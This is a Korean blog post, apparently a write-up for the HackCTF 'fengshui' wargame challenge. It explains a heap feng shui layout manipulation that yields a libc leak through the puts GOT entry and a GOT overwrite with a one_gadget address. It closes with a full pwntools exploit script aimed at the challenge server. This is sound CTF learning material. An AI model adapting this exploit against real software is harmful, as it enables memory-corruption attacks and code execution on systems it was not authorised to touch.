본문 바로가기

풍수지리설 본문

wargame/HackCTF

풍수지리설

Seongjun_You 2021. 12. 17. 00:05

 

내가 원하는 사이즈로 malloc할당이 가능하며 지울 수도 있다.

출력 및 업데이트가 가능하다.

 

0번 메뉴인 malloc을 할당하는 함수이다.

내가 원하는 size로 malloc을 할당하고 0x80크기의 malloc이 또 하나 할당된다.

내가 입력한 size malloc : text

0x80 크기의 malloc : name

 

name안에 text의 주소가 들어 간다.

전역 변수 store에 name의 주소가 들어간다.

 

1번 메뉴이다.  초기화한 후 0을 넣는다.

 

store변수를 통해 값을 출력한다.

 

 

update_desc함수이다.

조건문을 지나고 입력을 받는다.

조건문은 overflow를 방지한 듯하다.

 

힙을 할당받은 상태이다.

 

두 번 할당받은 상태이다.

 

여기서 0번 인덱스를 free 하고

0x80 크기를 할당받으면 어떻게 되는지 확인한다.

 

 

0x804c138에 0x804c018을 카르키고 있다.

여기까지 data를 조작할 수 있게 되었다.

이런 레이아웃 조작을 fengshui라고 한다.

 

0x804c0b0에 puts의 got 값을 넣어 실제 주소를 leak 한다.

그 후 1번 인덱스를 업데이트하여 원샷 가젯을 넣는다.

 

 

from pwn import *
p = remote("ctf.j0n9hyun.xyz",3028)
#p = process("./fengshui")
context.log_level = "Debug"
elf = ELF("./fengshui")
libc = ELF("./libc.so.6")
one_gadget = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5, 0x5fbc6]

def add_location(size, name, length, text):
p.sendlineafter("Choice: ", "0")
time.sleep(0.1)
p.sendlineafter("description: ", size)
time.sleep(0.1)
p.sendlineafter("Name: ", name)
time.sleep(0.1)
p.sendlineafter("length: ", length)
time.sleep(0.1)
p.sendlineafter("Text: ", text)

def delete_location():
p.sendlineafter("Choice: ","1")
p.sendlineafter("Index: ", "0")

def display_location(idx):
p.sendlineafter("Choice: ","2")
p.sendlineafter("Index: ", idx)

def update_location(idx, length, text):
p.sendlineafter("Choice: ", "3")
time.sleep(0.1)
p.sendlineafter("Index: ", idx)
time.sleep(0.1)
p.sendlineafter("length: ", str(length))
time.sleep(0.1)
p.sendlineafter("Text: ", text)

add_location("8", "AAAA", "8", "BBBB")
add_location("8", "AAAA", "8", "BBBB")
delete_location()
add_location("128","AAAA",str(0xa8), "A"*0x98 + p32(elf.got['puts']))

display_location("1")
p.recvuntil("Description: ")
leak_puts = u32(p.recv(4))
libc_base = leak_puts - libc.symbols['puts']
magic_gadget = libc_base + one_gadget[0]

print(hex(leak_puts))
print(hex(magic_gadget))

time.sleep(0.1)
update_location("1",len(p32(magic_gadget)), p32(magic_gadget))

p.interactive()

 

'wargame > HackCTF' 카테고리의 다른 글

babyheap  (0) 2021.12.21
Unexploitable #2  (0) 2021.12.17
World Best Encryption Tool  (0) 2021.12.16
Register  (0) 2021.12.16
RTC  (0) 2021.12.16
Comments